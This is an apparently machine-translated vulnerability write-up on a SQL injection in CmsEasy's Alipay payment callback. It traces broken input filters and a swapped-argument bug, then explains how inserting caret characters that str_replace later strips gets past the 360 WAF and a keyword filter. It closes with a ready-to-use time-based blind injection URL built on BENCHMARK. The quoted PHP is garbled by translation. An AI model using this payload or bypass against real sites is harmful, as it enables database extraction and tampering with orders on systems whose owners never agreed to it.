Cmseasy latest patch bypasses SQL injection (bypasses 360waf)
Archive_act.php (row 611)
Function respond_action () {include_once ROOT. '/lib/plugins/pay /'. front: $ get ['code']. '. php '; $ payclassname = front: $ get ['code']; $ payobj = new $ payclassname (); $ uri = $ _ SERVER ["REQUEST_URI"]; $ __uriget = strstr ($ uri ,'? '); $ __Uriget = str_replace ('? ', '', $ __Uriget); $ __uriget = explode (' & ', $ __uriget); $ _ GET = array (); foreach ($ __uriget as $ key => $ val) {$ tmp = explode ('=', $ val ); $ _ GET [$ tmp [0] = $ tmp [1]; if (preg_match ('/\' | select | union | "/I ', $ tmp1 )) {exit ('invalid parameter') ;}} file_put_contents('logs11.txt ', var_export ($ _ GET, true); $ status = $ payobj-> respond (); if ($ status) {echo '<script type = "text/javascript"> alert ("'. lang ('paid, jump to order query '). '") </script>'; front: refresh (url ('archive/orders/oid /'. front: get ('subobject'), true);} else {echo '<script type = "text/javascript"> alert ("'. lang ('jump to order query '). '") </script>'; front: refresh (url ('archive/orders/oid /'. front: get ('subobject'), true ));}}
$ Tmp1 and $ tmp [1] developers are confused and fail to see clearly, leading to invalid filtering. Here, the get parameter is reorganized and obtained from the $ _ SERVER ["REQUEST_URI"] split. In this case, all the previous filters are invalid, and the filters are invalid.
You can use front: $ get ['code'] to control the pay file to be loaded,
Look at the file: alipay. php:
function respond() { if (!empty($_POST)) { foreach($_POST as $key =>$data) { if(preg_match('/(=|<|>|\')/', $data)){ return false; } $_GET[$key] = $data; } } $payment = pay::get_payment($_GET['code']); $seller_email = rawurldecode($_GET['seller_email']); $order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']); $order_sn = trim($order_sn); if (!pay::check_money($order_sn,$_GET['total_fee'])) { return false; } if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") { pay::changeorders($order_sn,$_GET); return true; }else { return false; } }
Control Parameter trade_status = WAIT_SELLER_SEND_GOODS, enter pay: changeorders ($ order_sn, $ _ GET );
Public static function changeorders ($ id, $ orderlog) {// file_put_contents('logs.txt ', $ id); $ where = array (); $ where ['id'] = $ id; $ where ['status'] = 4; // $ where ['orderlog'] = serialize ($ orderlog); $ update = orders: getInstance () -> rec_update ($ where, $ id); if ($ update <1) {exit ('order status change error, contact the postmaster ');}}
Here, $ id is the previous $ order_sn, which can be directly controlled by the get parameter.
Enter this method: $ update = orders: getInstance ()-> rec_update ($ where, $ id );
function rec_update($row,$where) { $tbname=$this->name; $sql=$this->sql_update($tbname,$row,$where); //echo $sql."<br>"; return $this->query_unbuffered($sql); }
Here the programmer is confused again. The rec_update method where variable is obviously the second parameter. When it is passed in, $ where put the first parameter (this programmer has opened it !), In this way, the $ id value is used as a condition for SQL statements.
Let's get started with waf:
First, waf of 360: detected a lot of dangerous functions, and even worse, it filters single quotes globally and kills them when they are seen. However, $ order_sn is directly brought to the end of where and does not require single quotation marks. It does not work. There is one in the previous method:
$ Order_sn = str_replace ($ _ GET ['subobject'], '', $ _ GET ['out _ trade_no ']);
In this way, the replacement function is used to insert ^ in the middle of the dangerous function, and then set the subject to ^, then the 360waf can be successfully bypassed.
Next, when the SQL statement is executed, there is another filter:
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){ //echo $condition; exit('sql inject'); }
Because it is an update injection and cannot display errors, sleep is filtered and only BENCHMARK can be used.
If is also filtered, only or can be used.
The get parameter is passed directly from querystring, and the space will be replaced with % 20. All parameters can only be replaced:
Final POC: (latency blind injection method, slightly changed)
1.http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS
Solution:
Enhanced Filtering